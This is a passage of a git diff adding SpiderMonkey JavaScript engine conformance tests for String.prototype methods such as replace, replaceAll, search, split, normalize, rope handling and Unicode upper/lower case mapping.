+try
+{
+ s.replace(p2, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p2.lastIndex, 3);
+}
+
+// Third time with .lastIndex === 0, replacing to 'y'
+
+var p3 = /x/g;
+Object.defineProperty(p3, "lastIndex", { writable: false });
+
+try
+{
+ s.replace(p3, 'y');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p3.lastIndex, 0);
+}
+
+// Fourth time with .lastIndex !== 0, replacing to 'y'
+
+var p4 = /x/g;
+Object.defineProperty(p4, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.replace(p4, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p4.lastIndex, 3);
+}
+
+// Fifth time with .lastIndex === 0, replacing to 'y', but no match
+
+var p5 = /q/g;
+Object.defineProperty(p5, "lastIndex", { writable: false });
+
+try
+{
+ s.replace(p5, 'y');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p5.lastIndex, 0);
+}
+
+// Sixth time with .lastIndex !== 0, replacing to 'y', but no match
+
+var p6 = /q/g;
+Object.defineProperty(p6, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.replace(p6, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p6.lastIndex, 3);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/replace-updates-global-lastIndex.js b/js/src/tests/non262/String/replace-updates-global-lastIndex.js
new file mode 100644
index 0000000000..c859d7093b
--- /dev/null
+++ b/js/src/tests/non262/String/replace-updates-global-lastIndex.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.relace should zero the .lastIndex when called with a " +
+ "global RegExp";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+
+var p1 = /x/g;
+p1.lastIndex = 3;
+s.replace(p1, '');
+assertEq(p1.lastIndex, 0);
+
+var p2 = /x/g;
+p2.lastIndex = 3;
+var c = 0;
+s.replace(p2, function(s) {
+ assertEq(p2.lastIndex++, c++);
+ return 'y';
+});
+assertEq(p2.lastIndex, 4);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/replace.js b/js/src/tests/non262/String/replace.js
new file mode 100644
index 0000000000..83aab8f2a5
--- /dev/null
+++ b/js/src/tests/non262/String/replace.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@replace] from String.prototype.replace.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.replace](S, R) {
+ assertEq(S, "abcAbcABC");
+ assertEq(R, "foo");
+ called++;
+ return 42;
+ }
+};
+assertEq("abcAbcABC".replace(myRegExp, "foo"), 42);
+assertEq(called, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/replaceAll.js b/js/src/tests/non262/String/replaceAll.js
new file mode 100644
index 0000000000..2ff9418578
--- /dev/null
+++ b/js/src/tests/non262/String/replaceAll.js
@@ -0,0 +1,215 @@
+function neverCalled() {
+ assertEq(true, false, "unexpected call");
+}
+
+const g = newGlobal();
+
+assertEq(typeof String.prototype.replaceAll, "function");
+assertEq(String.prototype.replaceAll.length, 2);
+assertEq(String.prototype.replaceAll.name, "replaceAll");
+
+// Throws if called with undefined or null.
+assertThrowsInstanceOf(() => String.prototype.replaceAll.call(undefined), TypeError);
+assertThrowsInstanceOf(() => String.prototype.replaceAll.call(null), TypeError);
+
+// Throws if called with a non-global RegExp.
+assertThrowsInstanceOf(() => "".replaceAll(/a/, ""), TypeError);
+assertThrowsInstanceOf(() => "".replaceAll(g.RegExp(""), ""), TypeError);
+
+// Also throws with RegExp-like objects.
+assertThrowsInstanceOf(() => {
+ "".replaceAll({[Symbol.match]: neverCalled, flags: ""}, "");
+}, TypeError);
+
+// |flags| property mustn't be undefined or null.
+assertThrowsInstanceOf(() => {
+ "".replaceAll({[Symbol.match]: neverCalled, flags: undefined}, "");
+}, TypeError);
+assertThrowsInstanceOf(() => {
+ "".replaceAll({[Symbol.match]: neverCalled, flags: null}, "");
+}, TypeError);
+
+// Global RegExp (or RegExp-like) simply redirect to @@replace.
+assertEq("aba".replace(/a/g, "c"), "cbc");
+assertEq("aba".replace(g.RegExp("a", "g"), "c"), "cbc");
+assertEq("aba".replace({
+ [Symbol.match]: true,
+ [Symbol.replace]: () => "ok",
+ flags: "flags has 'g' character",
+}, ""), "ok");
+
+// Applies ToString on the replace-function return value.
+assertEq("aa".replaceAll("a", () => ({toString(){ return 1; }})), "11");
+assertEq("aa".replaceAll("a", () => ({valueOf(){ return 1; }})), "[object Object][object Object]");
+
+const replacer = {
+ "$$": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "$";
+ },
+ "$$-$$": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "$-$";
+ },
+ "$&": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return string.substring(position, position + searchString.length);
+ },
+ "$&-$&": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ var s = string.substring(position, position + searchString.length);
+ return `${s}-${s}`;
+ },
+ "$`": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return string.substring(0, position);
+ },
+ "$`-$`": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ var s = string.substring(0, position);
+ return `${s}-${s}`;
+ },
+ "$'": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return string.substring(position + searchString.length);
+ },
+ "$'-$'": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ var s = string.substring(position + searchString.length);
+ return `${s}-${s}`;
+ },
+ "A": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "A";
+ },
+ "A-B": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "A-B";
+ },
+ "": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "";
+ },
+};
+
+// Tests when |pattern| is longer than |string|.
+{
+ const tests = [
+ { string: "", pattern: "a" },
+ { string: "a", pattern: "ab" },
+ { string: "", pattern: "α" },
+ { string: "α", pattern: "αβ" },
+ ];
+
+ for (let [replacementString, replacementFunction] of Object.entries(replacer)) {
+ for (let {string, pattern} of tests) {
+ let a = string.replaceAll(pattern, replacementString);
+ let b = string.replaceAll(pattern, replacementFunction);
+ let expected = string.replace(RegExp(pattern, "g"), replacementString);
+ assertEq(a, expected);
+ assertEq(b, expected);
+ assertEq(expected, string);
+ }
+ }
+}
+
+// Tests when |pattern| doesn't match once.
+ {
+ const tests = [
+ { string: "a", pattern: "A" },
+ { string: "ab", pattern: "A" },
+ { string: "ab", pattern: "AB" },
+
+ { string: "α", pattern: "Γ" },
+ { string: "αβ", pattern: "Γ" },
+ { string: "αβ", pattern: "ΓΔ" },
+ ];
+
+ for (let [replacementString, replacementFunction] of Object.entries(replacer)) {
+ for (let {string, pattern} of tests) {
+ let a = string.replaceAll(pattern, replacementString);
+ let b = string.replaceAll(pattern, replacementFunction);
+ let expected = string.replace(RegExp(pattern, "g"), replacementString);
+ assertEq(a, expected);
+ assertEq(b, expected);
+ assertEq(expected, string);
+ }
+ }
+}
+
+// Tests when |pattern| is the empty string.
+{
+ const strings = ["", "a", "ab", "α", "αβ"];
+ const pattern = "";
+ const re = /(?:)/g;
+
+ for (let [replacementString, replacementFunction] of Object.entries(replacer)) {
+ for (let string of strings) {
+ let a = string.replaceAll(pattern, replacementString);
+ let b = string.replaceAll(pattern, replacementFunction);
+ let expected = string.replace(re, replacementString);
+ assertEq(a, expected);
+ assertEq(b, expected);
+ }
+ }
+}
+
+// Tests when |pattern| isn't the empty string.
+{
+ const tests = [
+ {
+ strings: [
+ "a", "b",
+ "aa", "ab", "ba", "bb",
+ "aaa", "aab", "aba", "abb", "baa", "bab", "bba", "bbb",
+ ],
+ pattern: "a",
+ },
+ {
+ strings: [
+ "α", "β",
+ "αα", "αβ", "βα", "ββ",
+ "ααα", "ααβ", "αβα", "αββ", "βαα", "βαβ", "ββα", "βββ",
+ ],
+ pattern: "α",
+ },
+ ];
+
+ for (let {strings, pattern} of tests) {
+ let re = RegExp(pattern, "g");
+ for (let [replacementString, replacementFunction] of Object.entries(replacer)) {
+ for (let string of strings) {
+ let a = string.replaceAll(pattern, replacementString);
+ let b = string.replaceAll(pattern, replacementFunction);
+ let expected = string.replace(re, replacementString);
+ assertEq(a, expected);
+ assertEq(b, expected);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/ropes.js b/js/src/tests/non262/String/ropes.js
new file mode 100644
index 0000000000..b8e99dacb9
--- /dev/null
+++ b/js/src/tests/non262/String/ropes.js
@@ -0,0 +1,58 @@
+print("Stress test of ropes");
+
+if (typeof newRope === "undefined") {
+ var newRope = SpecialPowers.Cu.getJSTestingFunctions().newRope;
+}
+if (typeof ensureLinearString === "undefined") {
+ var ensureLinearString = SpecialPowers.Cu.getJSTestingFunctions().ensureLinearString;
+}
+
+function createRopes() {
+ const ropes = {};
+
+ let j = 88;
+ function advance() {
+ // This is totally made up and probably stupid.
+ j = ((((j * 7) >> 2) + j) + (j << 3)) | 0;
+ return j;
+ }
+
+ function randomBalancedRope(height) {
+ if (height == 0)
+ return "s" + j;
+
+ const left = randomBalancedRope(height - 1);
+ advance();
+ const right = randomBalancedRope(height - 1);
+ advance();
+ return newRope(left, right, {nursery:(j & 1)});
+ }
+
+ // Construct a fairly big random rope first. If we did it later, then the
+ // chances of it all ending up tenured are higher.
+ ropes.balanced = randomBalancedRope(10);
+
+ ropes.simple = newRope("a", "b");
+ ropes.simple_tenured = newRope("a", "b", {nursery:false});
+ ropes.tenured_nursery = newRope("a", newRope("b", "c", {nursery:true}), {nursery:false});
+ ropes.nursery_tenured = newRope("a", newRope("b", "c", {nursery:false}), {nursery:true});
+
+ return ropes;
+}
+
+const ropes = createRopes();
+
+// Flatten them all.
+for (const [name, rope] of Object.entries(ropes))
+ ensureLinearString(rope);
+
+// GC with them all live.
+let ropes2 = createRopes();
+gc();
+
+// GC with them all dead.
+ropes2 = null;
+gc();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/search-GetMethod.js b/js/src/tests/non262/String/search-GetMethod.js
new file mode 100644
index 0000000000..4d54cf3fb7
--- /dev/null
+++ b/js/src/tests/non262/String/search-GetMethod.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.search should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.search]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+for (let v of [null, undefined]) {
+ assertEq("a-a".search(create(v)), 1);
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".search(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/search.js b/js/src/tests/non262/String/search.js
new file mode 100644
index 0000000000..86d0aacc60
--- /dev/null
+++ b/js/src/tests/non262/String/search.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@search] from String.prototype.search.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.search](S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 42;
+ }
+};
+assertEq("abcAbcABC".search(myRegExp), 42);
+assertEq(called, 1);
+
+called = 0;
+RegExp.prototype[Symbol.search] = function(S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 43;
+};
+assertEq("abcAbcABC".search("abc"), 43);
+assertEq(called, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/shell.js b/js/src/tests/non262/String/shell.js
new file mode 100644
index 0000000000..25e2f7e2f5
--- /dev/null
+++ b/js/src/tests/non262/String/shell.js
@@ -0,0 +1,59 @@
+function runNormalizeTest(test) {
+ function codePointsToString(points) {
+ return points.map(x => String.fromCodePoint(x)).join("");
+ }
+ function stringify(points) {
+ return points.map(x => x.toString(16)).join();
+ }
+
+ var source = codePointsToString(test.source);
+ var NFC = codePointsToString(test.NFC);
+ var NFD = codePointsToString(test.NFD);
+ var NFKC = codePointsToString(test.NFKC);
+ var NFKD = codePointsToString(test.NFKD);
+ var sourceStr = stringify(test.source);
+ var nfcStr = stringify(test.NFC);
+ var nfdStr = stringify(test.NFD);
+ var nfkcStr = stringify(test.NFKC);
+ var nfkdStr = stringify(test.NFKD);
+
+ /* NFC */
+ assertEq(source.normalize(), NFC, "NFC of " + sourceStr);
+ assertEq(NFC.normalize(), NFC, "NFC of " + nfcStr);
+ assertEq(NFD.normalize(), NFC, "NFC of " + nfdStr);
+ assertEq(NFKC.normalize(), NFKC, "NFC of " + nfkcStr);
+ assertEq(NFKD.normalize(), NFKC, "NFC of " + nfkdStr);
+
+ assertEq(source.normalize(undefined), NFC, "NFC of " + sourceStr);
+ assertEq(NFC.normalize(undefined), NFC, "NFC of " + nfcStr);
+ assertEq(NFD.normalize(undefined), NFC, "NFC of " + nfdStr);
+ assertEq(NFKC.normalize(undefined), NFKC, "NFC of " + nfkcStr);
+ assertEq(NFKD.normalize(undefined), NFKC, "NFC of " + nfkdStr);
+
+ assertEq(source.normalize("NFC"), NFC, "NFC of " + sourceStr);
+ assertEq(NFC.normalize("NFC"), NFC, "NFC of " + nfcStr);
+ assertEq(NFD.normalize("NFC"), NFC, "NFC of " + nfdStr);
+ assertEq(NFKC.normalize("NFC"), NFKC, "NFC of " + nfkcStr);
+ assertEq(NFKD.normalize("NFC"), NFKC, "NFC of " + nfkdStr);
+
+ /* NFD */
+ assertEq(source.normalize("NFD"), NFD, "NFD of " + sourceStr);
+ assertEq(NFC.normalize("NFD"), NFD, "NFD of " + nfcStr);
+ assertEq(NFD.normalize("NFD"), NFD, "NFD of " + nfdStr);
+ assertEq(NFKC.normalize("NFD"), NFKD, "NFD of " + nfkcStr);
+ assertEq(NFKD.normalize("NFD"), NFKD, "NFD of " + nfkdStr);
+
+ /* NFKC */
+ assertEq(source.normalize("NFKC"), NFKC, "NFKC of " + sourceStr);
+ assertEq(NFC.normalize("NFKC"), NFKC, "NFKC of " + nfcStr);
+ assertEq(NFD.normalize("NFKC"), NFKC, "NFKC of " + nfdStr);
+ assertEq(NFKC.normalize("NFKC"), NFKC, "NFKC of " + nfkcStr);
+ assertEq(NFKD.normalize("NFKC"), NFKC, "NFKC of " + nfkdStr);
+
+ /* NFKD */
+ assertEq(source.normalize("NFKD"), NFKD, "NFKD of " + sourceStr);
+ assertEq(NFC.normalize("NFKD"), NFKD, "NFKD of " + nfcStr);
+ assertEq(NFD.normalize("NFKD"), NFKD, "NFKD of " + nfdStr);
+ assertEq(NFKC.normalize("NFKD"), NFKD, "NFKD of " + nfkcStr);
+ assertEq(NFKD.normalize("NFKD"), NFKD, "NFKD of " + nfkdStr);
+}
diff --git a/js/src/tests/non262/String/split-01.js b/js/src/tests/non262/String/split-01.js
new file mode 100644
index 0000000000..3eda3b1487
--- /dev/null
+++ b/js/src/tests/non262/String/split-01.js
@@ -0,0 +1,47 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 614608;
+var summary = "String.prototype.split tests";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertEqArr(a1, a2) {
+ assertEq(a1.length, a2.length);
+
+ for(var i=0; i<a1.length; i++) {
+ assertEq(a1[i], a2[i]);
+ }
+}
+
+var order = "";
+var o1 = { toString: function() { order += "b"; return "-"; }};
+var o2 = { valueOf: function() { order += "a"; return 1; }};
+var res = "xyz-xyz".split(o1, o2);
+
+assertEq(order, "ab");
+assertEqArr(res, ["xyz"]);
+
+assertEqArr("".split(/.?/), []);
+assertEqArr("abc".split(/\b/), ["abc"]);
+
+assertEqArr("abc".split(/((()))./, 2), ["",""]);
+assertEqArr("abc".split(/((((()))))./, 9), ["","","","","","","","",""]);
+
+// from ES5 15.5.4.14
+assertEqArr("ab".split(/a*?/), ["a", "b"]);
+assertEqArr("ab".split(/a*/), ["", "b"]);
+assertEqArr("A<B>bold</B>and<CODE>coded</CODE>".split(/<(\/)?([^<>]+)>/),
+ ["A", undefined, "B", "bold", "/", "B", "and", undefined,
+ "CODE", "coded", "/", "CODE", ""]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/split-GetMethod.js b/js/src/tests/non262/String/split-GetMethod.js
new file mode 100644
index 0000000000..a56debe2a2
--- /dev/null
+++ b/js/src/tests/non262/String/split-GetMethod.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.split should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.split]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+for (let v of [null, undefined]) {
+ assertDeepEq("a-a".split(create(v)), ["a", "a"]);
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".split(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/split-order.js b/js/src/tests/non262/String/split-order.js
new file mode 100644
index 0000000000..b6583ed328
--- /dev/null
+++ b/js/src/tests/non262/String/split-order.js
@@ -0,0 +1,22 @@
+var BUGNUMBER = 1287521;
+var summary = 'String.prototype.split should call ToUint32(limit) before ToString(separator).';
+
+print(BUGNUMBER + ": " + summary);
+
+var log = [];
+"abba".split({
+ toString() {
+ log.push("separator-tostring");
+ return "b";
+ }
+}, {
+ valueOf() {
+ log.push("limit-valueOf");
+ return 0;
+ }
+});
+
+assertEq(log.join(","), "limit-valueOf,separator-tostring");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/split-undefined-separator.js b/js/src/tests/non262/String/split-undefined-separator.js
new file mode 100644
index 0000000000..46aa6c16f9
--- /dev/null
+++ b/js/src/tests/non262/String/split-undefined-separator.js
@@ -0,0 +1,37 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 614608;
+var summary = "String.prototype.split with undefined separator";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertEqArr(a1, a2) {
+ assertEq(a1.length, a2.length);
+
+ for(var i=0; i<a1.length; i++) {
+ assertEq(a1[i], a2[i]);
+ }
+}
+var s = '--undefined--undefined--';
+
+assertEqArr(s.split(undefined, undefined), [s]);
+assertEqArr(s.split(undefined, -1), [s]);
+
+assertEqArr(s.split(undefined, 1), [s]);
+assertEqArr(s.split("undefined", 1), ["--"]);
+
+assertEqArr(s.split("-", 0), []);
+assertEqArr(s.split(undefined, 0), []);
+assertEqArr(s.split(s, 0), []);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/split-xregexp.js b/js/src/tests/non262/String/split-xregexp.js
new file mode 100644
index 0000000000..9dfe79b00b
--- /dev/null
+++ b/js/src/tests/non262/String/split-xregexp.js
@@ -0,0 +1,118 @@
+/*
+ * Tests from http://xregexp.com/tests/split.html
+ *
+ * Copyright (C) 2007 by Steven Levithan <stevenlevithan.com>
+ *
+ * Distributed under the terms of the MIT license.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+var BUGNUMBER = 614608;
+var summary = "String.prototype.split with regexp separator";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ecmaSampleRe = /<(\/)?([^<>]+)>/;
+
+var testCode = [
+ ["''.split()", [""]],
+ ["''.split(/./)", [""]],
+ ["''.split(/.?/)", []],
+ ["''.split(/.??/)", []],
+ ["'ab'.split(/a*/)", ["", "b"]],
+ ["'ab'.split(/a*?/)", ["a", "b"]],
+ ["'ab'.split(/(?:ab)/)", ["", ""]],
+ ["'ab'.split(/(?:ab)*/)", ["", ""]],
+ ["'ab'.split(/(?:ab)*?/)", ["a", "b"]],
+ ["'test'.split('')", ["t", "e", "s", "t"]],
+ ["'test'.split()", ["test"]],
+ ["'111'.split(1)", ["", "", "", ""]],
+ ["'test'.split(/(?:)/, 2)", ["t", "e"]],
+ ["'test'.split(/(?:)/, -1)", ["t", "e", "s", "t"]],
+ ["'test'.split(/(?:)/, undefined)", ["t", "e", "s", "t"]],
+ ["'test'.split(/(?:)/, null)", []],
+ ["'test'.split(/(?:)/, NaN)", []],
+ ["'test'.split(/(?:)/, true)", ["t"]],
+ ["'test'.split(/(?:)/, '2')", ["t", "e"]],
+ ["'test'.split(/(?:)/, 'two')", []],
+ ["'a'.split(/-/)", ["a"]],
+ ["'a'.split(/-?/)", ["a"]],
+ ["'a'.split(/-??/)", ["a"]],
+ ["'a'.split(/a/)", ["", ""]],
+ ["'a'.split(/a?/)", ["", ""]],
+ ["'a'.split(/a??/)", ["a"]],
+ ["'ab'.split(/-/)", ["ab"]],
+ ["'ab'.split(/-?/)", ["a", "b"]],
+ ["'ab'.split(/-??/)", ["a", "b"]],
+ ["'a-b'.split(/-/)", ["a", "b"]],
+ ["'a-b'.split(/-?/)", ["a", "b"]],
+ ["'a-b'.split(/-??/)", ["a", "-", "b"]],
+ ["'a--b'.split(/-/)", ["a", "", "b"]],
+ ["'a--b'.split(/-?/)", ["a", "", "b"]],
+ ["'a--b'.split(/-??/)", ["a", "-", "-", "b"]],
+ ["''.split(/()()/)", []],
+ ["'.'.split(/()()/)", ["."]],
+ ["'.'.split(/(.?)(.?)/)", ["", ".", "", ""]],
+ ["'.'.split(/(.??)(.??)/)", ["."]],
+ ["'.'.split(/(.)?(.)?/)", ["", ".", undefined, ""]],
+ ["'A<B>bold</B>and<CODE>coded</CODE>'.split(ecmaSampleRe)",
+ ["A", undefined, "B", "bold", "/", "B",
+ "and", undefined, "CODE", "coded", "/",
+ "CODE", ""]],
+ ["'tesst'.split(/(s)*/)", ["t", undefined, "e", "s", "t"]],
+ ["'tesst'.split(/(s)*?/)", ["t", undefined, "e", undefined, "s",
+ undefined, "s", undefined, "t"]],
+ ["'tesst'.split(/(s*)/)", ["t", "", "e", "ss", "t"]],
+ ["'tesst'.split(/(s*?)/)", ["t", "", "e", "", "s", "", "s", "", "t"]],
+ ["'tesst'.split(/(?:s)*/)", ["t", "e", "t"]],
+ ["'tesst'.split(/(?=s+)/)", ["te", "s", "st"]],
+ ["'test'.split('t')", ["", "es", ""]],
+ ["'test'.split('es')", ["t", "t"]],
+ ["'test'.split(/t/)", ["", "es", ""]],
+ ["'test'.split(/es/)", ["t", "t"]],
+ ["'test'.split(/(t)/)", ["", "t", "es", "t", ""]],
+ ["'test'.split(/(es)/)", ["t", "es", "t"]],
+ ["'test'.split(/(t)(e)(s)(t)/)", ["", "t", "e", "s", "t", ""]],
+ ["'.'.split(/(((.((.??)))))/)", ["", ".", ".", ".", "", "", ""]],
+ ["'.'.split(/(((((.??)))))/)", ["."]]
+];
+
+function testSplit() {
+ for (var i = 0; i < testCode.length; i++) {
+ var actual = eval(testCode[i][0]);
+ var expected = testCode[i][1];
+
+ assertEq(actual.length, expected.length);
+
+ for(var j=0; j<actual.length; j++) {
+ assertEq(actual[j], expected[j], testCode[i][0]);
+ }
+ }
+}
+
+testSplit();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/split.js b/js/src/tests/non262/String/split.js
new file mode 100644
index 0000000000..1cce47f288
--- /dev/null
+++ b/js/src/tests/non262/String/split.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@split] from String.prototype.split.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.split](S, limit) {
+ assertEq(S, "abcAbcABC");
+ assertEq(limit, 10);
+ called++;
+ return ["X", "Y", "Z"];
+ }
+};
+assertEq("abcAbcABC".split(myRegExp, 10).join(","), "X,Y,Z");
+assertEq(called, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/string-code-point-upper-lower-mapping.js b/js/src/tests/non262/String/string-code-point-upper-lower-mapping.js
new file mode 100644
index 0000000000..b1d5e135c1
--- /dev/null
+++ b/js/src/tests/non262/String/string-code-point-upper-lower-mapping.js
@@ -0,0 +1,460 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 13.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+assertEq(String.fromCodePoint(0x10428).toUpperCase().codePointAt(0), 0x10400); // DESERET SMALL LETTER LONG I, DESERET CAPITAL LETTER LONG I
+assertEq(String.fromCodePoint(0x10429).toUpperCase().codePointAt(0), 0x10401); // DESERET SMALL LETTER LONG E, DESERET CAPITAL LETTER LONG E
+assertEq(String.fromCodePoint(0x1042A).toUpperCase().codePointAt(0), 0x10402); // DESERET SMALL LETTER LONG A, DESERET CAPITAL LETTER LONG A
+assertEq(String.fromCodePoint(0x1042B).toUpperCase().codePointAt(0), 0x10403); // DESERET SMALL LETTER LONG AH, DESERET CAPITAL LETTER LONG AH
+assertEq(String.fromCodePoint(0x1042C).toUpperCase().codePointAt(0), 0x10404); // DESERET SMALL LETTER LONG O, DESERET CAPITAL LETTER LONG O
+assertEq(String.fromCodePoint(0x1042D).toUpperCase().codePointAt(0), 0x10405); // DESERET SMALL LETTER LONG OO, DESERET CAPITAL LETTER LONG OO
+assertEq(String.fromCodePoint(0x1042E).toUpperCase().codePointAt(0), 0x10406); // DESERET SMALL LETTER SHORT I, DESERET CAPITAL LETTER SHORT I
+assertEq(String.fromCodePoint(0x1042F).toUpperCase().codePointAt(0), 0x10407); // DESERET SMALL LETTER SHORT E, DESERET CAPITAL LETTER SHORT E
+assertEq(String.fromCodePoint(0x10430).toUpperCase().codePointAt(0), 0x10408); // DESERET SMALL LETTER SHORT A, DESERET CAPITAL LETTER SHORT A
+assertEq(String.fromCodePoint(0x10431).toUpperCase().codePointAt(0), 0x10409); // DESERET SMALL LETTER SHORT AH, DESERET CAPITAL LETTER SHORT AH
+assertEq(String.fromCodePoint(0x10432).toUpperCase().codePointAt(0), 0x1040A); // DESERET SMALL LETTER SHORT O, DESERET CAPITAL LETTER SHORT O
+assertEq(String.fromCodePoint(0x10433).toUpperCase().codePointAt(0), 0x1040B); // DESERET SMALL LETTER SHORT OO, DESERET CAPITAL LETTER SHORT OO
+assertEq(String.fromCodePoint(0x10434).toUpperCase().codePointAt(0), 0x1040C); // DESERET SMALL LETTER AY, DESERET CAPITAL LETTER AY
+assertEq(String.fromCodePoint(0x10435).toUpperCase().codePointAt(0), 0x1040D); // DESERET SMALL LETTER OW, DESERET CAPITAL LETTER OW
+assertEq(String.fromCodePoint(0x10436).toUpperCase().codePointAt(0), 0x1040E); // DESERET SMALL LETTER WU, DESERET CAPITAL LETTER WU
+assertEq(String.fromCodePoint(0x10437).toUpperCase().codePointAt(0), 0x1040F); // DESERET SMALL LETTER YEE, DESERET CAPITAL LETTER YEE
+assertEq(String.fromCodePoint(0x10438).toUpperCase().codePointAt(0), 0x10410); // DESERET SMALL LETTER H, DESERET CAPITAL LETTER H
+assertEq(String.fromCodePoint(0x10439).toUpperCase().codePointAt(0), 0x10411); // DESERET SMALL LETTER PEE, DESERET CAPITAL LETTER PEE
